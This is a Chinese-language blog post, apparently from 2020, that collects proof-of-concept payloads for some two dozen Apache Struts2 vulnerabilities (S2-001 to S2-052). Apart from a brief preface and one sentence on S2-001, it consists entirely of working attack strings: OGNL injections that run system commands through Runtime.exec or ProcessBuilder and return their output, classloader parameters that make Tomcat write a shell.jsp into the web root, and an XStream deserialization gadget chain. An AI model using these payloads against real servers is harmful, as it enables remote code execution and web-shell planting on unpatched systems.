[WEB] [struts2]整理java中间件漏洞POC

0x01前言

进行了快一年的java中间件的漏洞分析，准备写一篇文章整理记录一下漏洞利用方法，方便大家参考。

0x02POC

struts2

S2-001漏洞存在于对表单的处理，由于struts2内部代码中的translateVariables方法对password字段抛出的异常进行无限递归，如果在password字段进行模板注入，注入的ongl表达式则会一直在translateVariables方法中解析并执行，攻击者可以在恶意表单中插入任意命令并执行。
poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"echo","SEAER_BEST"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

S2-003
poc:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

S2-005
poc:

('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

S2-007
poc:

%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b

S2-008
poc:

debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))

S2-009
poc:

age=1&name=(%23context['xwork.MethodAccessor.denyMethodExecution']= new java.lang.Boolean(false), %23_memberAccess['allowStaticMethodAccess']=true, %23a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),%23b=new java.io.InputStreamReader(%23a),%23c=new java.io.BufferedReader(%23b),%23d=new char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

S2-012
poc:

currentSkill.name=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c', 'id'})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&currentSkill.description=

S2-013
poc:

a=${(%23_memberAccess['allowStaticMethodAccess']%3dtrue)(%23a%3d@java.lang.Runtime@getRuntime().exec('id').getInputStream())(%23b%3dnew java.io.InputStreamReader(%23a))(%23c%3dnew java.io.BufferedReader(%23b))(%23d%3dnew char[50000])(%23c.read(%23d))(%23out%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23out.println(+new java.lang.String(%23d)),%23out.close())}

S2-014
poc:

a=%24{%23_memberAccess['allowStaticMethodAccess']%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime().exec('id').getInputStream()%2C%23b%3Dnew java.io.InputStreamReader(%23a)%2C%23c%3Dnew java.io.BufferedReader(%23b)%2C%23d%3Dnew char[50000]%2C%23c.read(%23d)%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse().getWriter()%2C%23out.println(%2bnew java.lang.String(%23d))%2C%23out.close()}

S2-015
poc:

%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%7d

S2-016
poc:

redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

S2-019
poc

debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27id%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

S2-020
poc

class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

S2-021
poc

class%5b'classLoader'%5d%5b'resources'%5d%5b'context'%5d%5b'parent'%5d%5b'pipeline'%5d%5b'first'%5d%5b'directory'%5d=webapps/ROOT
class%5b'classLoader'%5d%5b'resources'%5d%5b'context'%5d%5b'parent'%5d%5b'pipeline'%5d%5b'first'%5d%5b'prefix'%5d=shell
class%5b'classLoader'%5d%5b'resources'%5d%5b'context'%5d%5b'parent'%5d%5b'pipeline'%5d%5b'first'%5d%5b'suffix'%5d=.jsp
class%5b'classLoader'%5d%5b'resources'%5d%5b'context'%5d%5b'parent'%5d%5b'pipeline'%5d%5b'first'%5d%5b'fileDateFormat'%5d=1

S2-029
poc

(%23_memberAccess[%27allowPrivateAccess%27]=true,%23_memberAccess[%27allowProtectedAccess%27]=true,%23_memberAccess[%27excludedPackageNamePatterns%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27excludedClasses%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27allowPackageProtectedAccess%27]=true,%23_memberAccess[%27allowStaticMethodAccess%27]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27ifconfig%27).getInputStream()))

S2-032
poc

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=id&pp=%5C%5CA&ppp=%20&encoding=UTF-8

S2-033
poc

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),%23xx%3d123,%23xx.toString.json?&pp=%2f&encoding=UTF-8

S2-037
poc

(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5b0%5d).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id

S2-042
poc

%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

S2-045
poc

Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'0a748908435c94083747504a89c01633'+']')).(#o.close())}

S2-046
poc

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

S2-048
poc

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

S2-052
poc

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
                         <string>ping</string>
                         <string>{cmd}</string>
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
</map>

最后编辑于：2020.02.23 21:46:35

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[WEB] [struts2]整理java中间件漏洞POC

0x01前言

0x02POC

struts2

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